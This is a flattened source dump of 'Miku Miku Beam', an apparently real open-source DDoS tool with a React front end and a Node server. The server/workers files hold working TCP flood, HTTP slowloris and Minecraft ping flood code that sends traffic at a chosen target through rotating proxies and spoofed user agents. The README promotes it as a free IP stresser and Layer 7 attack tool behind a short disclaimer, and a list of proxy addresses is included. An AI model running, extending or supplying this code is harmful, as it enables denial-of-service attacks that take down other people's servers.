├── data ├── uas.txt ├── proxies.txt ├── .gitignore ├── good_proxy.txt └── bad_proxy.txt ├── src ├── vite-env.d.ts ├── main.tsx ├── defaultUserAgents.ts ├── translations.ts ├── index.css └── App.tsx ├── bun.lockb ├── public ├── audio.mp3 ├── miku.gif └── loading.gif ├── docs ├── screenshot.png └── annotated-button.png ├── postcss.config.js ├── tsconfig.json ├── tailwind.config.js ├── vite.config.ts ├── .env.example ├── .gitignore ├── server ├── lib.ts ├── utils │ ├── randomUtils.js │ └── mcUtils.js ├── fileLoader.ts ├── proxyUtils.ts ├── workers │ ├── minecraftPingAttack.js │ ├── tcpFloodAttack.js │ ├── httpSlowlorisAttack.js │ └── httpFloodAttack.js └── index.ts ├── index.html ├── tsconfig.node.json ├── tsconfig.app.json ├── eslint.config.js ├── LICENSE ├── uas.txt ├── package.json ├── README.md └── proxies.txt /data/uas.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /data/proxies.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /data/.gitignore: -------------------------------------------------------------------------------- 1 | me_proxies.txt -------------------------------------------------------------------------------- /src/vite-env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | -------------------------------------------------------------------------------- /bun.lockb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vanszs/MikuMikuBeamDDOS/HEAD/bun.lockb -------------------------------------------------------------------------------- /public/audio.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vanszs/MikuMikuBeamDDOS/HEAD/public/audio.mp3 -------------------------------------------------------------------------------- /public/miku.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vanszs/MikuMikuBeamDDOS/HEAD/public/miku.gif -------------------------------------------------------------------------------- /docs/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vanszs/MikuMikuBeamDDOS/HEAD/docs/screenshot.png -------------------------------------------------------------------------------- /public/loading.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vanszs/MikuMikuBeamDDOS/HEAD/public/loading.gif -------------------------------------------------------------------------------- /docs/annotated-button.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vanszs/MikuMikuBeamDDOS/HEAD/docs/annotated-button.png -------------------------------------------------------------------------------- /postcss.config.js: -------------------------------------------------------------------------------- 1 | export default { 2 | plugins: { 3 | tailwindcss: {}, 4 | autoprefixer: {}, 5 | }, 6 | }; 7 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "files": [], 3 | "references": [ 4 | { "path": "./tsconfig.app.json" }, 5 | { "path": "./tsconfig.node.json" } 6 | ] 7 | } 8 | -------------------------------------------------------------------------------- /tailwind.config.js: -------------------------------------------------------------------------------- 1 | /** @type {import('tailwindcss').Config} */ 2 | export default { 3 | content: ['./index.html', './src/**/*.{js,ts,jsx,tsx}'], 4 | theme: { 5 | extend: {}, 6 | }, 7 | plugins: [], 8 | }; 9 | -------------------------------------------------------------------------------- /src/main.tsx: -------------------------------------------------------------------------------- 1 | import { StrictMode } from 'react'; 2 | import { createRoot } from 'react-dom/client'; 3 | import App from './App.tsx'; 4 | import './index.css'; 5 | 6 | createRoot(document.getElementById('root')!).render( 7 | 8 | 9 | 10 | ); 11 | -------------------------------------------------------------------------------- /vite.config.ts: -------------------------------------------------------------------------------- 1 | import react from '@vitejs/plugin-react'; 2 | import { defineConfig } from 'vite'; 3 | 4 | // https://vitejs.dev/config/ 5 | export default defineConfig({ 6 | plugins: [react()], 7 | optimizeDeps: { 8 | exclude: [], 9 | }, 10 | server: { 11 | strictPort: true 12 | } 13 | }); 14 | -------------------------------------------------------------------------------- /.env.example: -------------------------------------------------------------------------------- 1 | # Server Configuration 2 | # Copy this file to .env and adjust values as needed 3 | 4 | # Port for the server to listen on (default: 3000) 5 | PORT=3000 6 | 7 | # CORS origin for frontend (default: http://localhost:5173) 8 | # Change this to your frontend URL in production 9 | CORS_ORIGIN=http://localhost:5173 10 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | pnpm-debug.log* 8 | lerna-debug.log* 9 | .env 10 | 11 | node_modules 12 | dist 13 | dist-ssr 14 | *.local 15 | 16 | # Editor directories and files 17 | .vscode/* 18 | !.vscode/extensions.json 19 | .idea 20 | .DS_Store 21 | *.suo 22 | *.ntvs* 23 | *.njsproj 24 | *.sln 25 | *.sw? 26 | -------------------------------------------------------------------------------- /server/lib.ts: -------------------------------------------------------------------------------- 1 | export type ProxyProtocol = "http" | "https" | "socks4" | "socks5" | string; 2 | 3 | export interface Proxy { 4 | username?: string; 5 | password?: string; 6 | protocol: ProxyProtocol; 7 | host: string; 8 | port: number; 9 | } 10 | 11 | export type AttackMethod = 12 | | "http_flood" 13 | | "http_slowloris" 14 | | "tcp_flood" 15 | | "minecraft_ping"; 16 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Miku Beam - Network Stresser 8 | 9 | 10 |
11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /tsconfig.node.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2022", 4 | "lib": ["ES2023"], 5 | "module": "ESNext", 6 | "skipLibCheck": true, 7 | 8 | /* Bundler mode */ 9 | "moduleResolution": "bundler", 10 | "allowImportingTsExtensions": true, 11 | "isolatedModules": true, 12 | "moduleDetection": "force", 13 | "noEmit": true, 14 | 15 | /* Linting */ 16 | "strict": true, 17 | "noUnusedLocals": true, 18 | "noUnusedParameters": true, 19 | "noFallthroughCasesInSwitch": true 20 | }, 21 | "include": ["vite.config.ts"] 22 | } 23 | -------------------------------------------------------------------------------- /server/utils/randomUtils.js: -------------------------------------------------------------------------------- 1 | export function randomBoolean() { 2 | return Math.random() < 0.5; 3 | } 4 | 5 | export function randomString(length) { 6 | let result = ""; 7 | const characters = 8 | "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; 9 | const charactersLength = characters.length; 10 | for (let i = 0; i < length; i++) { 11 | result += characters.charAt(Math.floor(Math.random() * charactersLength)); 12 | } 13 | return result; 14 | } 15 | 16 | export function randomInteger(min, max) { 17 | return Math.floor(Math.random() * (max - min + 1)) + min; 18 | } 19 | -------------------------------------------------------------------------------- /tsconfig.app.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2020", 4 | "useDefineForClassFields": true, 5 | "lib": ["ES2020", "DOM", "DOM.Iterable"], 6 | "module": "ESNext", 7 | "skipLibCheck": true, 8 | 9 | /* Bundler mode */ 10 | "moduleResolution": "bundler", 11 | "allowImportingTsExtensions": true, 12 | "isolatedModules": true, 13 | "moduleDetection": "force", 14 | "noEmit": true, 15 | "jsx": "react-jsx", 16 | 17 | /* Linting */ 18 | "strict": true, 19 | "noUnusedLocals": true, 20 | "noUnusedParameters": true, 21 | "noFallthroughCasesInSwitch": true 22 | }, 23 | "include": ["src"] 24 | } 25 | -------------------------------------------------------------------------------- /eslint.config.js: -------------------------------------------------------------------------------- 1 | import js from '@eslint/js'; 2 | import globals from 'globals'; 3 | import reactHooks from 'eslint-plugin-react-hooks'; 4 | import reactRefresh from 'eslint-plugin-react-refresh'; 5 | import tseslint from 'typescript-eslint'; 6 | 7 | export default tseslint.config( 8 | { ignores: ['dist'] }, 9 | { 10 | extends: [js.configs.recommended, ...tseslint.configs.recommended], 11 | files: ['**/*.{ts,tsx}'], 12 | languageOptions: { 13 | ecmaVersion: 2020, 14 | globals: globals.browser, 15 | }, 16 | plugins: { 17 | 'react-hooks': reactHooks, 18 | 'react-refresh': reactRefresh, 19 | }, 20 | rules: { 21 | ...reactHooks.configs.recommended.rules, 22 | 'react-refresh/only-export-components': [ 23 | 'warn', 24 | { allowConstantExport: true }, 25 | ], 26 | }, 27 | } 28 | ); 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | # MIT License 2 | 3 | Copyright (c) 2025 Sammwy 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /uas.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 3 | Mozilla/5.0 (Macintosh; Intel Mac OS X 12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15 4 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.57 5 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 OPR/96.0.4693.80 6 | Mozilla/5.0 (Linux; Android 13; SM-G996B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Mobile Safari/537.36 7 | Mozilla/5.0 (Android 12; Mobile; rv:108.0) Gecko/108.0 Firefox/108.0 8 | Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Mobile/15E148 Safari/604.1 9 | Mozilla/5.0 (Linux; Android 12; SM-A525F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/20.0 Chrome/110.0.5481.88 Mobile Safari/537.36 10 | Mozilla/5.0 (Linux; Android 12; Pixel 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.88 DuckDuckGo/5 Safari/537.36 11 | -------------------------------------------------------------------------------- /server/fileLoader.ts: -------------------------------------------------------------------------------- 1 | import fs from "fs"; 2 | import { join } from "path"; 3 | 4 | import { Proxy } from "./lib"; 5 | 6 | export const currentPath = () => { 7 | const path = process.cwd(); 8 | return path === "/" ? "." : path; 9 | }; 10 | 11 | const loadFileLines = (filePath: string) => { 12 | try { 13 | return fs 14 | .readFileSync(filePath, "utf8") 15 | .split("\n") 16 | .map((line) => line.trim()) 17 | .filter(Boolean) 18 | .filter((line) => !line.startsWith("#")); 19 | } catch (err) { 20 | console.error(`Error reading ${filePath}:`, err); 21 | return []; 22 | } 23 | }; 24 | 25 | export function loadUserAgents() { 26 | return loadFileLines(join(currentPath(), "data/uas.txt")); 27 | } 28 | 29 | export function loadProxies(): Proxy[] { 30 | const lines = loadFileLines(join(currentPath(), "data/proxies.txt")); 31 | 32 | //RegEx for proxies with authentication (protocol://user:pass@host:port) 33 | const authProxiesRegEx = /^(http|https|socks4|socks5|):\/\/(\S+:\S+)@((\w+|\d+\.\d+\.\d+\.\d+):\d+)$/; 34 | 35 | return lines.map((line) => { 36 | const [protocol, loginInfo] = line.split("://"); 37 | 38 | if (authProxiesRegEx.test(line)) { 39 | const [auth, addr] = loginInfo.split("@"); 40 | const [user, pass] = auth.split(":"); 41 | const [host, port] = addr.split(":"); 42 | 43 | return { protocol, host, port: parseInt(port), username: user, password: pass }; 44 | } else { 45 | const [host, port] = loginInfo.split(":"); 46 | 47 | return { protocol, host, port: parseInt(port) }; 48 | } 49 | }); 50 | } 51 | -------------------------------------------------------------------------------- /server/proxyUtils.ts: -------------------------------------------------------------------------------- 1 | import { AttackMethod, Proxy, ProxyProtocol } from "./lib"; 2 | 3 | const DEFAULT_HTTP_PORT = 8080; 4 | const DEFAULT_PROTOCOL: ProxyProtocol = "http"; 5 | 6 | const COMMON_PORTS: { [port: number]: ProxyProtocol } = { 7 | 80: "http", 8 | 443: "https", 9 | 1080: "socks5", 10 | 1081: "socks4", 11 | 8080: "http", 12 | 8443: "https", 13 | }; 14 | 15 | const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = { 16 | http_flood: ["http", "https", "socks4", "socks5"], 17 | http_slowloris: ["socks4", "socks5"], 18 | tcp_flood: ["socks4", "socks5"], 19 | minecraft_ping: ["socks4", "socks5"], 20 | }; 21 | 22 | /** 23 | * Attempts to infer the protocol based on the port. 24 | */ 25 | function inferProtocol(port: number | undefined): ProxyProtocol { 26 | if (port !== undefined && COMMON_PORTS[port]) { 27 | return COMMON_PORTS[port]; 28 | } 29 | return DEFAULT_PROTOCOL; 30 | } 31 | 32 | /** 33 | * Ensures a proxy object is safe and normalized by adding default values if missing. 34 | */ 35 | function normalizeProxy(proxy: Proxy): Proxy { 36 | const normalizedPort = proxy.port || DEFAULT_HTTP_PORT; 37 | const normalizedProtocol = proxy.protocol || inferProtocol(normalizedPort); 38 | 39 | return { 40 | ...proxy, 41 | port: normalizedPort, 42 | protocol: normalizedProtocol, 43 | }; 44 | } 45 | 46 | /** 47 | * Filters proxies based on the attack method and ensures safe parsing of proxies. 48 | */ 49 | export function filterProxies(proxies: Proxy[], method: AttackMethod): Proxy[] { 50 | return proxies 51 | .map(normalizeProxy) 52 | .filter((proxy) => METHODS[method].includes(proxy.protocol)); 53 | } 54 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "miku-beam", 3 | "private": true, 4 | "version": "0.0.0", 5 | "author": "Vanszs ", 6 | "type": "module", 7 | "repository": { 8 | "type": "git", 9 | "url": "https://github.com/Vanszs/MikuMikuBeamDDOS.git" 10 | }, 11 | "keywords": [ 12 | "ddos", 13 | "network-stresser", 14 | "dos-attack", 15 | "packet-flood", 16 | "http-flood", 17 | "slowloris", 18 | "red-team", 19 | "pentesting", 20 | "cybersecurity", 21 | "stress-test", 22 | "load-testing", 23 | "miku", 24 | "ui" 25 | ], 26 | "scripts": { 27 | "dev": "concurrently --ks SIGKILL -n \"Client,Server\" \"npm run dev:client\" \"npm run dev:server\"", 28 | "dev:server": "tsx watch server/", 29 | "dev:client": "vite", 30 | "build": "vite build", 31 | "lint": "eslint .", 32 | "preview": "vite preview" 33 | }, 34 | "dependencies": { 35 | "axios": "^1.7.9", 36 | "body-parser": "^1.20.3", 37 | "concurrently": "^9.1.2", 38 | "express": "^4.21.2", 39 | "lucide-react": "^0.344.0", 40 | "react": "^18.3.1", 41 | "react-dom": "^18.3.1", 42 | "socket.io": "^4.7.4", 43 | "socket.io-client": "^4.7.4", 44 | "socks-proxy-agent": "^8.0.5", 45 | "tsx": "^4.19.2" 46 | }, 47 | "devDependencies": { 48 | "@eslint/js": "^9.9.1", 49 | "@types/express": "^5.0.0", 50 | "@types/react": "^18.3.5", 51 | "@types/react-dom": "^18.3.0", 52 | "@vitejs/plugin-react": "^4.3.1", 53 | "autoprefixer": "^10.4.18", 54 | "eslint": "^9.9.1", 55 | "eslint-plugin-react-hooks": "^5.1.0-rc.0", 56 | "eslint-plugin-react-refresh": "^0.4.11", 57 | "globals": "^15.9.0", 58 | "postcss": "^8.4.35", 59 | "tailwindcss": "^3.4.1", 60 | "typescript": "^5.5.3", 61 | "typescript-eslint": "^8.3.0", 62 | "vite": "^5.4.2" 63 | } 64 | } -------------------------------------------------------------------------------- /server/workers/minecraftPingAttack.js: -------------------------------------------------------------------------------- 1 | import { parentPort, workerData } from "worker_threads"; 2 | 3 | import { pingMinecraftServer } from "../utils/mcUtils.js"; 4 | 5 | const startAttack = () => { 6 | const { target, proxies, duration, packetDelay } = workerData; 7 | 8 | const [targetHost, targetPort] = target.split(":"); 9 | const parsedPort = parseInt(targetPort || "25565", 10); 10 | const fixedTarget = `tcp://${targetHost}:${parsedPort}`; 11 | 12 | let totalPackets = 0; 13 | const startTime = Date.now(); 14 | 15 | const interval = setInterval(() => { 16 | const elapsedTime = (Date.now() - startTime) / 1000; 17 | 18 | if (elapsedTime >= duration) { 19 | clearInterval(interval); 20 | parentPort.postMessage({ log: "Attack finished", totalPackets }); 21 | process.exit(0); 22 | } 23 | 24 | const proxy = proxies[Math.floor(Math.random() * proxies.length)]; 25 | pingMinecraftServer(targetHost, parsedPort, proxy) 26 | .then((status) => { 27 | totalPackets++; 28 | 29 | const players = status?.players?.online || 0; 30 | const max = status?.players?.max || 0; 31 | const version = status?.version?.name || ""; 32 | const banner = `${version}: ${players}/${max}`; 33 | parentPort.postMessage({ 34 | log: `✅ MC Ping+MOTD Request from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget} (${banner})`, 35 | totalPackets, 36 | }); 37 | }) 38 | .catch((e) => { 39 | parentPort.postMessage({ 40 | log: `❌ MC Ping+MOTD Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${e.message}`, 41 | totalPackets, 42 | }); 43 | }); 44 | }, packetDelay); 45 | }; 46 | 47 | if (workerData) { 48 | startAttack(); 49 | } 50 | -------------------------------------------------------------------------------- /server/workers/tcpFloodAttack.js: -------------------------------------------------------------------------------- 1 | import net from "net"; 2 | import { SocksProxyAgent } from "socks-proxy-agent"; 3 | import { parentPort, workerData } from "worker_threads"; 4 | 5 | import { randomString } from "../utils/randomUtils.js"; 6 | 7 | const startAttack = () => { 8 | const { target, proxies, duration, packetDelay, packetSize } = workerData; 9 | 10 | const [targetHost, targetPort] = target.split(":"); 11 | const port = parseInt(targetPort, 10); 12 | const fixedTarget = target.startsWith("http") ? target : `tcp://${target}`; 13 | 14 | let totalPackets = 0; 15 | const startTime = Date.now(); 16 | 17 | const sendPacket = async (proxy) => { 18 | const socket = new net.Socket(); 19 | let open = false; 20 | socket.setTimeout(2000); 21 | 22 | const proxyAgent = new SocksProxyAgent( 23 | `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}` 24 | ); 25 | 26 | setInterval(() => { 27 | if (socket.writable && open) { 28 | socket.write(randomString(packetSize)); 29 | } 30 | }, [1000]); 31 | 32 | socket.connect({ host: targetHost, port: port, agent: proxyAgent }, () => { 33 | totalPackets++; 34 | open = true; 35 | parentPort.postMessage({ 36 | log: `✅ Packet sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`, 37 | totalPackets, 38 | }); 39 | }); 40 | 41 | socket.on("close", () => { 42 | open = false; 43 | }); 44 | 45 | socket.on("timeout", () => { 46 | socket.destroy(); 47 | open = false; 48 | }); 49 | 50 | socket.on("error", (err) => { 51 | parentPort.postMessage({ 52 | log: `❌ Packet failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${err.message}`, 53 | totalPackets, 54 | }); 55 | }); 56 | }; 57 | 58 | const interval = setInterval(() => { 59 | const elapsedTime = (Date.now() - startTime) / 1000; 60 | 61 | if (elapsedTime >= duration) { 62 | clearInterval(interval); 63 | parentPort.postMessage({ log: "Attack finished", totalPackets }); 64 | process.exit(0); 65 | } 66 | 67 | const proxy = proxies[Math.floor(Math.random() * proxies.length)]; 68 | sendPacket(proxy); 69 | }, packetDelay); 70 | }; 71 | 72 | if (workerData) { 73 | startAttack(); 74 | } 75 | -------------------------------------------------------------------------------- /src/defaultUserAgents.ts: -------------------------------------------------------------------------------- 1 | export const SYSTEM_USER_AGENTS = [ 2 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", 3 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", 4 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0", 5 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", 6 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15", 7 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.0.0 Safari/537.36", 8 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 OPR/105.0.0.0", 9 | "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1", 10 | "Mozilla/5.0 (iPad; CPU OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1", 11 | "Mozilla/5.0 (Android 14; Mobile; rv:121.0) Gecko/121.0 Firefox/121.0", 12 | "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36", 13 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0", 14 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0", 15 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", 16 | "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0", 17 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Vivaldi/6.5.3206.39", 18 | "Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 630) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537", 19 | "Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36", 20 | "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36", 21 | "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1" 22 | ]; 23 | -------------------------------------------------------------------------------- /server/workers/httpSlowlorisAttack.js: -------------------------------------------------------------------------------- 1 | import http from "http"; 2 | import { SocksProxyAgent } from "socks-proxy-agent"; 3 | import { parentPort, workerData } from "worker_threads"; 4 | 5 | import { randomString } from "../utils/randomUtils.js"; 6 | 7 | const startAttack = () => { 8 | const { target, proxies, userAgents, duration, packetDelay, packetSize } = 9 | workerData; 10 | 11 | const fixedTarget = target.startsWith("http") ? target : `http://${target}`; 12 | const protocolPort = target.startsWith("https") ? 443 : 80; 13 | const targetPort = fixedTarget.includes(":") 14 | ? parseInt(fixedTarget.split(":")[2]) 15 | : protocolPort; 16 | const targetHost = fixedTarget.replace(/^https?:\/\//, ""); 17 | 18 | let totalPackets = 0; 19 | const startTime = Date.now(); 20 | 21 | const sendRequest = async (proxy, userAgent) => { 22 | const options = { 23 | hostname: targetHost, 24 | port: targetPort, 25 | path: "/", 26 | method: "POST", 27 | headers: { 28 | "User-Agent": userAgent, 29 | Connection: "keep-alive", 30 | "Transfer-Encoding": "chunked", 31 | Host: targetHost, 32 | }, 33 | agent: new SocksProxyAgent( 34 | `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}` 35 | ), 36 | }; 37 | 38 | const req = http.request(options, (res) => { 39 | res.on("data", () => {}); 40 | res.on("end", () => {}); 41 | }); 42 | 43 | req.on("error", (err) => { 44 | parentPort.postMessage({ 45 | log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${err.message}`, 46 | totalPackets, 47 | }); 48 | }); 49 | 50 | req.on("close", () => { 51 | parentPort.postMessage({ 52 | log: `⚠ Connection closed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`, 53 | totalPackets, 54 | }); 55 | }); 56 | 57 | const payload = randomString(packetSize); 58 | req.write(payload); 59 | 60 | totalPackets++; 61 | parentPort.postMessage({ 62 | log: `✅ Request sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`, 63 | totalPackets, 64 | }); 65 | }; 66 | 67 | const interval = setInterval(() => { 68 | const elapsedTime = (Date.now() - startTime) / 1000; 69 | 70 | if (elapsedTime >= duration) { 71 | clearInterval(interval); 72 | parentPort.postMessage({ log: "Attack finished", totalPackets }); 73 | process.exit(0); 74 | } 75 | 76 | const proxy = proxies[Math.floor(Math.random() * proxies.length)]; 77 | const userAgent = userAgents[Math.floor(Math.random() * userAgents.length)]; 78 | 79 | sendRequest(proxy, userAgent); 80 | }, packetDelay); 81 | }; 82 | 83 | if (workerData) { 84 | startAttack(); 85 | } 86 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Miku Miku Beam 💥⚡ (DDoS Tool / Network Stresser) 2 | > **Note**: This is a robust fork maintained by **Vanszs**, originally created by **Sammwy**. 3 | 4 | **Miku Miku Beam** is a high-performance **Open Source DDoS Tool** and **Network Stresser** designed for Red Teamers and Pentesters. Featuring a **Direct Attack (Pentest Mode)**, Concurrency Management, and a fully reactive **Miku-themed UI**, this tool allows you to perform **HTTP Floods**, **Slowloris Attacks**, and **TCP Floods** to test server resilience. 5 | 6 | Whether you are looking for a **Free IP Stresser**, **Layer 7 Attack Tool**, or a **Visual Network Load Tester**, Miku Miku Beam delivers max throughput with a cute anime aesthetic. 🎤✨ 7 | 8 | 9 | ![Screenshot](docs/screenshot.png) 10 | 11 | ## Key Features 🎉 12 | 13 | ### 🚀 High-Performance & Robust 14 | - **Concurrency Pool**: Smart request management (1000+ persistent connections) prevents memory leaks and crashing. 15 | - **Batched IO**: Efficient logging system that doesn't freeze the server under high load. 16 | - **Pentest Mode (Direct Attack)**: Bypass proxies to test raw throughput with your own IP. ⚠️ 17 | 18 | ### 🌏 Multi-Language Support 19 | - **Full Translation**: English, Indonesia, and Chinese (中文). 20 | - **Smart UI**: Tooltips and Modern Dropdowns for ease of use. 21 | 22 | ### 🎨 The Miku Experience 23 | - **Real-time Visualization**: Live PPS (Packets Per Second) and Active Bot tracking. 24 | - **Aesthetic UI**: Responsive, animated, and Miku-vibe interface. 25 | - **Background Music**: Includes a toggleable banger soundtrack. 26 | 27 | ## Attack Methods 📡 28 | - `HTTP Flood`: Standard request spam. Best for general targets. 29 | - `HTTP Slowloris`: Low bandwidth, keeps connections open. Good for unoptimized servers. 30 | - `TCP Flood`: Send random TCP packets. Good for non-HTTP targets. 31 | - `Minecraft Ping`: Send Minecraft ping/motd requests. 32 | 33 | ## Setup 🛠️ 34 | 35 | ### Prerequisites 📦 36 | - Node.js (v14 or above) 🌱 37 | - npm (Node Package Manager) 📦 38 | 39 | ### Installation 💻 40 | 41 | 1. **Clone this repository**: 42 | ```bash 43 | git clone https://github.com/Vanszs/MikuMikuBeamDDOS.git 44 | cd MikuMikuBeamDDOS 45 | ``` 46 | 47 | 2. **Install dependencies**: 48 | ```bash 49 | npm install 50 | ``` 51 | 52 | 3. **Run the server**: 53 | ```bash 54 | npm run dev 55 | ``` 56 | Server runs on port `3000` (Backend) and `5173` (Frontend) by default. 🌐 57 | 58 | 4. **Access the UI**: 59 | Open `http://localhost:5173` to start beaming! 60 | 61 | ## Configuration ⚙️ 62 | 63 | ### Managing Proxies 64 | You can edit `proxies.txt` and `uas.txt` directly from the frontend. Click the text icon next to the "Start Beam" button. 65 | 66 | ![AnnotatedImage](docs/annotated-button.png) 67 | 68 | ### Pentest Mode (Direct Attack) ⚠️ 69 | Enable "Attack with my current IP" in the specific settings to bypass the proxy list. 70 | - **Benefit**: Maximum possible speed (dependent only on your bandwidth). 71 | - **Risk**: Exposes your IP address to the target. Use only on servers you own! 72 | 73 | ## Contributing 💖 74 | Feel free to fork and submit Pull Requests! 75 | - **Maintainer**: Vanszs 76 | - **Original Author**: Sammwy 77 | 78 | ## Disclaimer 🚨 79 | This project is for **educational purposes and authorized stress testing only**. The authors are not responsible for any misuse of this tool. 80 | 81 | --- 82 | 83 | ### (。♥‿♥。) Happy Hacking 💖🎶 84 | 85 | -------------------------------------------------------------------------------- /data/good_proxy.txt: -------------------------------------------------------------------------------- 1 | socks4://89.237.35.145:51549 2 | socks4://104.17.132.79:80 3 | socks4://62.109.31.192:20000 4 | socks5://5.189.133.192:50893 5 